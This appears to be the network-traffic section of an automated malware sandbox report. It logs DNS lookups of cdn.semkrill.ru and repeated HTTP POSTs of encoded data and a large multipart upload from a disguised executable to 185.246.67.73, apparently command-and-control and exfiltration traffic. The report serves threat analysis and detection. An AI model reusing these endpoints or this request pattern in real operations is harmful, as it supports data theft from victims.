Dec 8, 2024 15:28:57.662230015 CET	49955	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:57.662924051 CET	49951	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:57.781713009 CET	80	49955	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:57.782341957 CET	49955	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:57.782521009 CET	80	49951	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:57.782557011 CET	49955	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:57.782638073 CET	49951	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:57.822222948 CET	49956	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:57.902354002 CET	80	49955	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:57.941570997 CET	80	49956	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:57.941658020 CET	49956	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:57.941849947 CET	49956	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:58.065922022 CET	80	49956	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:58.138880968 CET	49955	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:58.258661032 CET	80	49955	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:58.258699894 CET	80	49955	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:58.294572115 CET	49956	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:58.414060116 CET	80	49956	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:58.414103985 CET	80	49956	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:58.414203882 CET	80	49956	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:59.171087027 CET	80	49955	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:59.217011929 CET	49955	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:59.336906910 CET	80	49956	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:59.390208006 CET	49956	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:59.404311895 CET	80	49955	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:59.450692892 CET	49955	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:28:59.576364994 CET	80	49956	185.246.67.73	192.168.2.4
Dec 8, 2024 15:28:59.622447014 CET	49956	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:29:04.302771091 CET	80	49955	185.246.67.73	192.168.2.4
Dec 8, 2024 15:29:04.302824974 CET	49955	80	192.168.2.4	185.246.67.73
Dec 8, 2024 15:29:04.346678972 CET	80	49956	185.246.67.73	192.168.2.4
Dec 8, 2024 15:29:04.347377062 CET	49956	80	192.168.2.4	185.246.67.73

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 8, 2024 15:26:57.102055073 CET	56582	53	192.168.2.4	1.1.1.1
Dec 8, 2024 15:26:57.532289982 CET	53	56582	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 8, 2024 15:26:57.102055073 CET	192.168.2.4	1.1.1.1	0xa88	Standard query (0)	cdn.semkrill.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 8, 2024 15:26:57.532289982 CET	1.1.1.1	192.168.2.4	0xa88	No error (0)	cdn.semkrill.ru		172.67.184.109	A (IP address)	IN (0x0001)	false
Dec 8, 2024 15:26:57.532289982 CET	1.1.1.1	192.168.2.4	0xa88	No error (0)	cdn.semkrill.ru		104.21.19.10	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cdn.semkrill.ru

185.246.67.73

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49743	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:21.862191916 CET	561	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:27:22.217119932 CET	344	OUT	Data Raw: 05 00 04 05 03 0c 04 02 05 06 02 01 02 04 01 05 00 0b 05 01 02 01 03 0a 07 0e 0d 0d 03 06 01 08 0f 52 05 01 03 03 03 0a 0e 05 04 05 04 0b 04 02 06 06 0e 0f 0c 06 07 00 01 06 03 00 06 01 00 08 01 05 0f 5b 04 07 01 08 0f 00 0b 04 0e 00 0e 06 05 07 Data Ascii: R[\Q\L~hfOwbyuuoQlbYwols]XolR[z`u^hnt`Ys[}e~V@@{SP~by
Dec 8, 2024 15:27:23.198961020 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:23.315932989 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1364 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 56 4a 7e 01 6f 53 51 4a 6c 62 74 48 6b 71 55 44 69 77 67 4f 7c 06 69 0d 7a 73 74 05 7d 72 74 4b 77 60 69 09 7a 4f 71 4a 62 76 60 03 69 61 78 01 55 4b 71 0c 74 72 5a 58 68 71 7e 58 7f 5e 61 55 6f 48 63 54 69 60 77 00 61 5c 61 4e 77 5f 5b 03 7e 72 69 5c 69 0a 78 09 7d 77 78 5e 75 4c 7b 06 7c 5b 71 05 7e 5e 72 5a 78 77 55 58 6f 59 6c 04 6f 53 55 00 6e 5b 6c 48 6c 05 6e 4f 7c 73 7c 4a 7b 74 7c 06 6a 62 77 06 62 5f 63 59 7a 51 41 5b 7f 5e 68 0a 6b 4f 75 43 75 52 68 4c 7a 6c 7b 5b 77 4e 62 0a 7a 4f 65 00 7e 7c 69 5a 6c 61 62 48 75 05 78 5b 75 72 6c 4c 63 58 62 50 7e 5d 7a 06 74 72 6d 01 76 65 5e 09 7f 7c 65 05 77 6f 60 04 7f 5d 6f 5b 78 6f 63 03 6c 06 76 01 7c 6d 6b 51 77 5e 7c 03 7e 62 62 09 69 54 67 42 78 0b 7a 4f 7e 4c 71 40 7b 5d 46 51 68 7c 7c 4e 7e 4e 70 0a 7d 01 7d 5d 78 7d 68 5b 7b 72 52 05 7f 4f 6b 4a 7e 74 63 0a 7c 70 61 42 79 5d 70 07 7e 5b 6f 5d 60 4d 5b 51 7b 5c 79 44 76 48 5a 4a 7e 48 56 07 7e 76 7d 0c 74 5c 55 00 7f 4c 57 01 7c 49 58 09 78 48 74 4f 7e 5d 51 02 76 5c 79 03 74 5f 5f 48 7c 4f [TRUNCATED] Data Ascii: VJ~oSQJlbtHkqUDiwgO\|izst}rtKw`izOqJbv`iaxUKqtrZXhq~X^aUoHcTi`wa\aNw_[~ri\ix}wx^uL{\|[q~^rZxwUXoYloSUn[lHlnO\|s\|J{t\|jbwb_cYzQA[^hkOuCuRhLzl{[wNbzOe~\|iZlabHux[urlLcXbP~]ztrmve^\|ewo`]o[xoclv\|mkQw^\|~bbiTgBxzO~Lq@{]FQh\|\|N~Np}}]x}h[{rROkJ~tc\|paBy]p~[o]`M[Q{\yDvHZJ~HV~v}t\ULW\|IXxHtO~]Qv\yt__H\|OfI~ld~wwvOkxry\|pmIxIx{Ylxmxr^zc\\|^\|ywVJ}rwwqV}lo\|YRaaNwlpLz\|tt`vNyOy~\|PN{_zuMUDv_ptab`Ttbmvu\|O\|RitBpcZIxlUEz`z}}\|wwZ}Lz@\|}{zmnO~\y}pVA\|\|pA~`p}wT{}QxL`I~q{\|g{A`}Ays^b^Ftc[ya}JvH`H}vh}fqtLU\|riwfN{HhA~MUJuriw_aIqb~lRA}Y{Ivq{I{ruG~pa{g\|C{Yxy}wzrRF{]PN{]NZxId\|agOurliUgKYd@}quwl`xBYXwNPnb}jBP_z\y\}b`g{ZL~JxY}^cqn_asPR}tlYZ\|DylRXxNP\|C^w^pizzSYQgaeZS[_PscQVoMSsAjk}\|PEZxrg\\|Xk~wU~suy`p~alccSn_\^afd}X{_~f}QvXAZhfCQtKlUMkx\[nnZZiY~\z\|Rd\|YwJuLIx\_Ywr]ldCT{o[WnWnYPd~{__RJwiQ\|Eq\BYi`DQtIhXL`sZo]G[]~}^\WAqlWyCq^AZbc@ZrOk_BarYbUNSS~Ccl\~^s\|akA\|YW_P{J]d]FRZAinRHW
Dec 8, 2024 15:27:23.316003084 CET	357	IN	Data Raw: 79 69 61 01 5b 7b 5e 5e 51 66 55 6f 0a 79 72 5d 4e 50 5e 44 5d 79 7a 78 5d 6c 61 08 46 53 7d 64 5d 52 64 03 5e 68 06 09 09 56 59 6b 4c 55 63 7b 47 63 70 65 51 7b 5c 7a 65 6d 4b 78 41 7a 5f 55 5b 52 01 7a 4b 5d 61 56 43 50 5a 09 5f 50 00 65 4c 52 Data Ascii: yia[{^^QfUoyr]NP^D]yzx]laFS}d]Rd^hVYkLUc{GcpeQ{\zemKxAz_U[RzK]aVCPZ_PeLRzsgZtDbeqpYnEPma]j{wmTttbmYyur^icDT{oZWdSoDSqYDo`cXl`\|z]uq\BYi`DQtIhXL`w@WVcA[YaLPpXQof_z\y~Z\|Yvwt[ba@Pc}_p_O\boNRHcU@iA[RZQca_{SVPww
Dec 8, 2024 15:27:23.353552103 CET	537	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 384 Expect: 100-continue
Dec 8, 2024 15:27:23.700581074 CET	384	OUT	Data Raw: 55 5e 43 53 5e 43 50 52 54 5e 50 59 5b 5e 59 5a 59 5f 59 5c 57 50 51 56 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: U^CS^CPRT^PY[^YZY_Y\WPQVYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-'Z&_*# =.B.]"+>8/'-#' %%(1"?;\,+ ]!![ 8
Dec 8, 2024 15:27:23.784945011 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:24.138971090 CET	324	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:23 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Content-Type: text/html; charset=UTF-8 Data Raw: 06 13 39 12 31 25 05 56 29 2a 2e 5b 26 3c 33 5e 24 28 20 06 2a 0e 23 16 25 39 05 07 2c 29 37 1d 37 12 27 07 30 03 28 5c 20 3f 3f 50 2d 12 20 5a 06 10 22 05 26 01 3f 1f 28 3b 22 04 32 3b 35 0a 22 37 2b 45 30 3e 33 19 3e 14 08 17 34 2f 09 57 32 03 00 0b 39 1c 36 5e 26 30 01 1e 32 0c 2c 55 0f 1f 25 0c 33 0c 3b 55 22 24 22 1d 22 1e 23 17 26 1b 0c 56 36 2f 27 0a 2b 03 01 01 3f 21 3f 01 37 32 2f 5e 2e 2b 3a 05 2a 0b 3b 1d 30 06 20 53 2a 02 2e 54 0d 33 56 52 Data Ascii: 91%V).[&<3^$( #%9,)77'0(\ ??P- Z"&?(;"2;5"7+E0>3>4/W296^&02,U%3;U"$""#&V6/'+?!?72/^.+:;0 S.T3VR
Dec 8, 2024 15:27:24.178987026 CET	538	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 1904 Expect: 100-continue
Dec 8, 2024 15:27:24.528738976 CET	1904	OUT	Data Raw: 50 5f 43 52 5e 40 50 53 54 5e 50 59 5b 59 59 52 59 5f 59 57 57 5d 51 59 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: P_CR^@PST^PY[YYRY_YWW]QYYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-3&&Y5Y-]7X8830>X%3.%8! ,8 ]!![ $
Dec 8, 2024 15:27:24.610380888 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:24.968080044 CET	324	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:24 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Content-Type: text/html; charset=UTF-8 Data Raw: 06 13 39 57 25 25 3f 52 2a 5c 35 03 32 05 23 5f 27 28 2c 06 2b 33 33 5c 27 07 23 07 2f 3a 05 13 20 05 28 5c 27 2e 30 13 22 02 2c 09 2e 02 20 5a 06 10 21 5f 24 2f 01 5b 2b 38 26 05 26 06 35 07 35 0e 24 19 24 2d 27 53 3d 3a 21 06 23 2c 2b 1f 32 2d 03 11 2f 25 00 59 25 56 2b 54 31 1c 2c 55 0f 1f 26 53 24 1c 2f 1c 34 0e 36 1c 22 0e 38 02 32 26 21 0a 35 3f 2c 56 28 2d 05 06 3c 0b 3b 04 34 32 06 07 2d 05 0b 16 2a 32 3f 1e 25 3c 20 53 2a 02 2e 54 0d 33 56 52 Data Ascii: 9W%%?R\52#_'(,+33\'#/: (\'.0",. Z!_$/[+8&&55$$-'S=:!#,+2-/%Y%V+T1,U&S$/46"82&!5?,V(-<;42-2?%< S*.T3VR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49744	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:23.554249048 CET	538	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2580 Expect: 100-continue
Dec 8, 2024 15:27:23.904259920 CET	2580	OUT	Data Raw: 50 52 43 53 5b 45 55 56 54 5e 50 59 5b 58 59 52 59 5c 59 56 57 56 51 5a 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PRCS[EUVT^PY[XYRY\YVWVQZYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.X'5Z29!Z" 59"\ 8*Y;8+0.31>X&]"\7$8 ]!![
Dec 8, 2024 15:27:24.876287937 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:27:25.108330011 CET	151	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:27:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49745	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:26.060688019 CET	538	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue
Dec 8, 2024 15:27:26.419344902 CET	2584	OUT	Data Raw: 55 5c 46 57 5b 41 55 5f 54 5e 50 59 5b 51 59 5b 59 5c 59 5b 57 53 51 59 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: U\FW[AU_T^PY[QY[Y\Y[WSQYYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-$=-%)=X6 !.B*\ [,(U'$^%5'8: ?'.; ]!![

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49746	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:27:26.923719883 CET	608	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----QmKelCPMJNdPTxYb2WuoQ8QeKKO9Rja8qH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 143234 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:27:27.278898001 CET	12360	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 51 6d 4b 65 6c 43 50 4d 4a 4e 64 50 54 78 59 62 32 57 75 6f 51 38 51 65 4b 4b 4f 39 52 6a 61 38 71 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22 Data Ascii: ------QmKelCPMJNdPTxYb2WuoQ8QeKKO9Rja8qHContent-Disposition: form-data; name="0"Content-Type: text/plainPXFQ^CPRT^PY[_YXY[YWWWQ]YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY
Dec 8, 2024 15:27:27.399445057 CET	2472	OUT	Data Raw: 38 5a 73 64 30 6f 31 76 53 33 65 79 68 36 53 34 68 58 77 4c 66 37 31 68 75 79 7a 62 44 61 33 4a 4e 4b 4b 74 46 6b 34 58 4d 70 67 5a 64 70 6b 31 57 65 54 6d 31 6f 49 41 71 6b 38 6b 41 30 38 61 6f 45 52 58 65 32 58 64 46 61 39 79 33 77 59 35 51 63 Data Ascii: 8Zsd0o1vS3eyh6S4hXwLf71huyzbDa3JNKKtFk4XMpgZdpk1WeTm1oIAqk8kA08aoERXe2XdFa9y3wY5Qco//0Z0jI8JC08ubQSK6mX00tWnByV4MoD596sWlAYGG/mXvYRH6xoSqD7QizgARnWfUmM3WPsIlDKQnLyEvgynUpdboNTPv3keB3MugFdi+3GMV0DOYQ6A4l5E9nGbiFIiNd5BNIYzEwox6hzziWmQU6hIERFYXkI
Dec 8, 2024 15:27:27.399477005 CET	2472	OUT	Data Raw: 55 4a 4a 69 61 45 41 74 32 52 66 66 41 4d 37 36 4e 72 35 55 68 45 35 35 74 4c 43 59 41 6e 54 4b 7a 68 79 31 6b 46 34 76 42 42 61 2b 44 75 32 38 51 76 31 63 6b 73 4e 46 4f 6e 65 49 37 46 79 58 45 56 77 7a 62 57 78 74 6c 49 76 4f 77 30 6c 73 34 67 Data Ascii: UJJiaEAt2RffAM76Nr5UhE55tLCYAnTKzhy1kF4vBBa+Du28Qv1cksNFOneI7FyXEVwzbWxtlIvOw0ls4g//2f5dfz7v6uNzbW/WHowKu+ZRgG4FC9t3dxfjQ4ystnh3Jxi7TJN+PR7aeN0w14p9ptN74pZkKmY8kS5BLWXarMGZkEf8HfAiWNfQzDQ/CP35hlhk46A+cpT8qO7Db5I8ucBzr7G5wVCQAoTYxqzvz5BRp3fi5z2
Dec 8, 2024 15:27:27.399532080 CET	4944	OUT	Data Raw: 6e 43 53 64 51 33 4a 68 56 69 78 75 4c 76 6e 44 4a 6a 6b 71 74 68 2f 46 76 61 63 39 2f 34 71 61 51 6d 6e 37 5a 48 32 59 72 46 6f 6c 75 44 64 44 4e 72 41 4e 73 6f 31 59 48 79 4f 72 37 6b 6a 76 34 63 46 76 64 39 7a 4a 66 34 34 77 66 32 37 62 72 54 Data Ascii: nCSdQ3JhVixuLvnDJjkqth/Fvac9/4qaQmn7ZH2YrFoluDdDNrANso1YHyOr7kjv4cFvd9zJf44wf27brT3rz/Yt3Y8Mth0wqpiTvFs6Ey3cO3kz9wwyTeC7dFRVx7vILb2MO3HtZLnzb5FL6TFMh35qedUUYMrMLWdrrzD0ZwcFmIaCDNyiLLR3EjQZoaBtffr6QYygWMW8uVKq4LneFcUb3ZxMDx65vWyQuNbwpe79R+/zvl+
Dec 8, 2024 15:27:27.399647951 CET	4944	OUT	Data Raw: 74 68 52 4f 34 63 73 32 63 6a 43 50 54 48 45 57 66 71 37 53 6d 4e 4a 6a 46 5a 46 76 78 57 4d 75 44 57 57 77 54 56 38 32 4f 30 70 42 7a 6c 4f 41 4b 4e 43 49 2f 77 72 6b 4f 71 70 68 73 30 37 71 6d 6e 4d 4c 2f 53 78 68 38 2f 74 44 78 65 2f 44 2b 52 Data Ascii: thRO4cs2cjCPTHEWfq7SmNJjFZFvxWMuDWWwTV82O0pBzlOAKNCI/wrkOqphs07qmnML/Sxh8/tDxe/D+Rw3l2KD+0nX4TU65wixXkhTugu3F56PBw6UX/r0vb3O0XHBbgnTUYiYHj8ol9A+T3hTO7f+LSylt7xBwvmM1N8XPDXFiL3+N1m0PLX8HVZiqWaZ43WJHxvnyBpGCnhm6P2a/MZyWUe94noNhHgsrOpRe7P6m1rriNN
Dec 8, 2024 15:27:27.399776936 CET	4944	OUT	Data Raw: 35 4b 6b 52 65 74 46 56 44 41 6b 2f 76 4a 6c 39 7a 63 45 71 72 55 63 6a 58 56 50 57 6d 79 32 43 49 69 73 62 63 7a 47 45 4e 6a 46 56 4d 46 71 58 6c 54 30 37 71 2f 6c 58 37 4f 73 76 55 34 49 39 75 35 6e 6c 31 7a 4f 30 6b 6b 56 62 51 5a 68 69 44 7a Data Ascii: 5KkRetFVDAk/vJl9zcEqrUcjXVPWmy2CIisbczGENjFVMFqXlT07q/lX7OsvU4I9u5nl1zO0kkVbQZhiDziYDxkxF131YLDqX2r4FcasyM7AhLGilfREH/pfc2kBTbUZYRFaNB8l5c47TrXZM6W/zJOmVU6n8DQ0lkIgMhKht6mev94di/q83UOQ3g8KrbS2KTJu9ubQxobi4WRydAxSpShVWjr9cYmC/WMScqnYKcaUfIX+rqi
Dec 8, 2024 15:27:27.399806976 CET	4944	OUT	Data Raw: 77 79 36 6c 50 7a 4d 46 74 48 77 63 75 78 51 37 5a 54 6c 64 52 35 38 37 4b 31 36 70 70 6c 50 54 62 78 41 58 51 6f 63 57 52 38 6d 39 67 6a 58 52 58 45 64 70 48 38 6d 48 69 6c 66 4d 32 73 4f 30 53 32 67 6e 65 43 53 74 37 42 6f 74 30 33 76 55 66 48 Data Ascii: wy6lPzMFtHwcuxQ7ZTldR587K16pplPTbxAXQocWR8m9gjXRXEdpH8mHilfM2sO0S2gneCSt7Bot03vUfHTwC+Q3k0zL8g0aAgd/KjzYmBtbZAsxwc0lrICOPncX2N749N5zVhk/u3RvKdiPSTvxDnOmM/GD1rA34gNSRYXmA9zPuRxVeKb97/Wyj98jmh1/lTpPVrzj2SqiKLXWcZF26MJBGWZGIaMkJjnleNFl4n3CgvxEwJ2
Dec 8, 2024 15:27:27.519068956 CET	4944	OUT	Data Raw: 52 64 2f 34 43 53 4e 36 65 57 67 4e 39 65 58 2f 5a 6f 78 2f 53 64 4c 68 39 77 36 67 4e 63 50 49 52 57 77 56 2f 33 79 6b 44 4c 30 6d 2f 38 57 74 31 50 2b 65 31 32 55 56 5a 6c 46 4b 62 59 6a 2b 6f 6b 73 49 4a 72 52 76 4f 6f 32 65 36 2f 34 2f 75 65 Data Ascii: Rd/4CSN6eWgN9eX/Zox/SdLh9w6gNcPIRWwV/3ykDL0m/8Wt1P+e12UVZlFKbYj+oksIJrRvOo2e6/4/ueX596Dq5+7xe3X1Ul/WfjGLeFJu7Zj4X53+qwPo+GBdLBLr8o0eZrP4IcHovVKOpqt6B/EPusj+m64a+V+bxQ2a6McWgqfuklbA3Tbt9cJX1tsDXk2bDpG8VVP79cte4Z3RootVako33MAmV9bqUv5I02B8SoLHxhk
Dec 8, 2024 15:27:27.519087076 CET	4944	OUT	Data Raw: 51 51 37 74 46 58 75 45 41 75 6f 77 69 48 78 36 2f 79 4c 38 66 7a 36 71 68 6f 58 76 49 36 46 6f 4f 31 2f 2f 43 48 52 2b 62 58 53 39 37 76 39 49 4e 64 74 2f 71 4a 5a 48 45 33 32 76 78 2b 51 2f 4a 4b 72 2f 4a 6a 45 54 53 63 58 5a 50 48 31 41 31 43 Data Ascii: QQ7tFXuEAuowiHx6/yL8fz6qhoXvI6FoO1//CHR+bXS97v9INdt/qJZHE32vx+Q/JKr/JjETScXZPH1A1Ce13VR34V4Ng0kESX53997+F4X/gzElC481N8BH+P/FBuLfbID27Ev9izPoR3scUj2nKEDq0uWn9gb5s0IU8E/GooC0pf/Ba2gaep5ni3QNaU+qJDz+kNqLAn7RWnP+PWmo5201bfY6eQipsUnjksKXwJs0qf5RUMO
